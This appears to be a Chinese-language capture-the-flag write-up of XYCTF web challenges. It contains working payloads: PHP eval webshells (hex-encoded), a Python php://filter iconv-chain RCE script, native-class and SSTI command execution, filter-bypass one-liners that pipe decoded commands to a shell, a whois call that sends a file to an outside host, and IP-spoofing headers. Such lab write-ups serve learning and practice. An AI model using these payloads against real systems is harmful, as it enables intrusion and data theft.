ezMake(makefile)

写马

随便输入

image-20250122181619774

PATH 环境变量被显式地设定为空。这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。由于 PATH 被设置为空,shell 将无法定位到除内置命令之外的任何外部命令的位置。

Bash 内建命令,这些命令是由Bash自身提供,而不是独立的程序:

alias - 定义或显示别名。
cd - 改变当前目录。
echo - 输出参数到标准输出。
exit - 退出当前shell。
export - 设置或显示环境变量。
history - 显示命令历史记录。
pwd - 打印当前工作目录的路径。
read - 从标准输入读取一行数据。
set - 设置或取消设置shell选项和位置参数。
type - 显示一个命令的类型。
unset - 删除变量或函数的定义。

尝试base64写马

echo "PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4K" | base64 -d > 1.php
echo "<?php eval($_POST[cmd]);?>" | base64 -d > 1.php

image-20250122182258254

被禁止,尝试十六进制成功

echo '<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>' > 1.php
echo '<?=eval(hex2bin("eval($_POST["cmd"]);"))?>' > 1.php

image-20250122184020316

直接传参cmd拿flag

cmd=system("ls");
cmd=system("cat flag");

image-20250122184053262

直接输出

直接输入$(shell cat flag)可直接获得flag

image-20250122184347802

非预期

直接访问/flag,获得flag

image-20250122184735681

ez?Make(makefile+过滤)

过滤f l a g @ $ * ? / 等,但是没有了环境变量的限制,可以用其他命令了

sort构造

sort `pwd | cut -c 1`[e-h][k-m][!b][e-h]  #sort为排除文本文件内容,pwd为当前路径,pwd | cut -c 1可截取当前路径第一个字符,即/;再通过构造flag
完整语句为
sort /flag

十六进制

`echo 636174202F666c6167 | xxd -r -p`   #636174202F666c6167为cat /flag十六进制,xxd是一个用于创建十六进制转储的工具,或者反向操作,即将十六进制转储恢复为二进制文件。这里的参数-r表示反向转换(从十六进制到二进制/ASCII),-p表示以纯十六进制格式读取输入。
完整语句为
`echo cat /flag`

image-20250122191142256

补充:绕过flag四个字符过滤方法

if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
die("Hacker!!!!!!!!");
}

1、echo Y2F0IC9mbGFn| base64 -d | sh #cat /flag
2、echo 636174202f666c6167 | xxd -r -p | bash #cat /flag 16进制
3、通配符 more /[b-z][b-z][@-z][b-z]
4、a=g.php; cat fla$a

ezLFI(本地文件包含)

尝试常见伪协议无作用,尝试rce,参考利用filter过滤器的编码组合构造RCE

import requests

url = "http://gz.imxbt.cn:20824/?file="
file_to_use = "/etc/passwd"
command = "/readflag"

# <?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})

print(r.text)

image-20250122192234113

ezClass(php原生类)

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
解释:创建两个对象并调用它们的方法:
第一个对象是通过 new $a($aa) 创建的,然后调用该对象的 $c 方法。
第二个对象是通过 new $b($bb) 创建的,然后也调用该对象的 $c 方法。
最后,将第一个对象调用的结果作为参数传递给第二个对象调用。

system

分析后(new $a($aa))->$c()应该为函数,(new $b($bb))->$c()应该为参数,因此将(new $a($aa))->$c()构造为system,(new $b($bb))->$c()构造为命令

a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=ls /
#ArrayIterator类别可调用current方法返回当前值,并且属性需要传入数组
a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=cat /f*

image-20250122193451563

error

通过Error可以构造任意字符串,因此构造php的error类带出信息

?a=Error&aa=system&c=getMessage&b=Error&bb=cat /f*

ezmd5

随便找两张图片上传,发现不仅限制为jpg文件还限制为两张图片md5值相等,参考Are there two known strings which have the same MD5 hash value?

ship

plane

这两张图片md5生成,直接上传即可

image-20250122201931116

其实应该是通过fastcoll工具生成的

fastcoll工具生成
fastcoll_v1.0.0.5.exe -p 1.jpg -o 11.jpg 12.jpg
1.jpg需要自己提供

ezhttp(请求头信息)

源码中注释提示放在某个地方,猜测robots.txt

image-20250122202303305

访问/l0g1n.txt获得username和password

image-20250122202334110

回去登录,结果说不是yuanshen.com来的不要原来你也玩原神,尝试抓包更改referer

image-20250122202738152

更改UA:XYCTF,UA即为浏览器标识

image-20250122202837831

又要求为本地用户,添加X-Forwarded-For:127.0.0.1

image-20250122203153952

但是提示禁止X-Forwarded-For(xff),因此改为Client-ip:127.0.0.1

image-20250122203328753

要求代理,添加Via: ymzx.qq.com

image-20250122203428348

小饼干联想到cookie,修改cookie为XYCTF

image-20250122203513621

成功拿下flag,感觉和19极客大挑战的ezhttp有点像

完整payload为

Referer: yuanshen.com
User Agent: XYCTF
Client-IP: 127.0.0.1
Via: ymzx.qq.com
Cookie: XYCTF

补充:常见本地请求头

防止这个题一样X-Forwarded-For被ban,多积累一点

X-Forwarded-For:127.0.0.1
Client-ip:127.0.0.1
X-Client-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Rriginating-IP:127.0.0.1
X-Remote-addr:127.0.0.1
HTTP_CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Originating-IP:127.0.0.1
via:127.0.0.1

ezRCE

参考[利用shell脚本变量构造无字母数字命令](利用shell脚本变量构造无字母数字命令 - 先知社区)

改一下官方脚本

n = dict()
n[0] = '0'
n[1] = '1'
n[2] = '2'
n[3] = '3'
n[4] = '4'
n[5] = '5'
n[6] = '6'
n[7] = '7'

f = ''


def str_to_oct(cmd): # 命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s += '\\'+o
return s


def build(cmd): # 八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload += "\\\\"
for i in _:
payload += n[int(i)]
return payload+'\\\''


payload = "ls /"
print(build(payload))

最终payload

cmd=$0<<<$'\143\141\164\40\57\146\154\141\147'

image-20250123091700091

牢牢记住,逝者为大

<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

要求传参cmd长度小于13,且不含常见命令字符,那就先传个参当跳板cmd=%0a`$_GET[1]`;%23&1=payload

用%0a换行符截断前面,%23注释符注释后面

这里可以反弹shell

whois -h ip -p port `more /[b-z][b-z][@-z][b-z]`
完整payload:cmd=%0a\`$_GET[1]`;%23&1=whois -h ip -p port `more /[b-z][b-z][@-z][b-z]`

也可以用cp复制flag到1.txt中,再访问1.txt即可

c\p /[@-z][@-z][@-z]g 1.txt
完整payload:cmd=%0a`$_GET[1]`;%23&1=c\p /[@-z][@-z][@-z]g 1.txt

image-20250123090840507

warm up

level1

<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}

第一层弱比较,0e或数组都行

val1[]=1&val2[]=2
val1=QNKCDZO&val2=240610708

第二层和第一层报错一样,差点以为第一层都没过(bushi)

md5=0e215962017  #加密后为0e291242476940776845150308577824,积累

第三层还是通过0e绕过,同时一个变量覆盖

XY=0e215962017&XYCTF=0e215962017

完整payload

val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017

image-20250122195214061

level2

<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}

第一层,intval中传入数组时,会判断数组中的是否存在元素,有则返回1,否则返回0,preg_match当检测的变量是数组的时候会报错并返回0,使用数组绕过,payload:a[]=1preg_replace($_GET['a'],$_GET['b'],$_GET['c'])即在a中找到和c相同的内容替换为b

a=/1/e&b=system('cat /f*')&c=1   这里涉及到preg_replace()函数漏洞,见下,但是该语句简单来说就是构造ac相同字符,然后用b替换,最终能够执行获取flag

image-20250122200345793

补充:preg_replace()函数漏洞

参考CTF-WEB:攻防世界 ics-05(preg_replace() 函数 /e 漏洞)

语法

1mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
  1. $pattern:(字符串)
    • 这是要匹配的正则表达式模式。
    • 可以是一个字符串或一个包含多个模式的数组。
  2. $replacement:(要替换的内容)
    • 这是用于替换匹配项的内容。
    • 可以是一个字符串或一个包含多个替换内容的数组。
  3. $subject:(替换字符串中的字符)
    • 这是要进行搜索和替换的字符串或数组。
  4. $limit (可选):
    • 限制每个模式的最大替换次数,默认为 -1(无限制)。
  5. $count (可选):
    • 如果提供了一个变量,它将被设置为替换操作执行的次数。

/e漏洞

如果 subject 是一个数组, preg_replace() 返回一个数组,其他情况下返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

这个函数有个 “/e” 漏洞,“/e” 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码进行执行。如果这么做要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

我是一个复读机

用所给弱口令密码抓包爆破

image-20250123092136852

发现如下文本框

image-20250123092246591

尝试了一下为ssti,但是{{}}、{%%}、_、'都被ban了,参考[常规绕过姿势](SSTI服务端模板注入漏洞原理详解及利用姿势集锦 - 2ha0yuk7on - 博客园)

最终payload

我()|attr(request.args.v1)|attr(request.args.v2)|attr(request.args.v3)()|attr(request.args.v4)(80)|attr(request.args.v5)|attr(request.args.v6)|attr(request.args.v4)(request.args.v7)|attr(request.args.v4)(request.args.v8)(request.args.v9)我&v1=__class__&v2=__base__&v3=__subclasses__&v4=__getitem__&v5=__init__&v6=__globals__&v7=__builtins__&v8=eval&v9=__import__('os').popen('cat /flag').read()

image-20250123092942667

εZ?¿м@Kε¿?

查看源码后发现hint.php,访问发现没被ban的只有题目描述中的/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/,即围绕$进行,参考Makefile的编写及四个特殊符号的意义@、$@、$^、$

最终payload:$$(<$<)通过报错带出

image-20250123093606558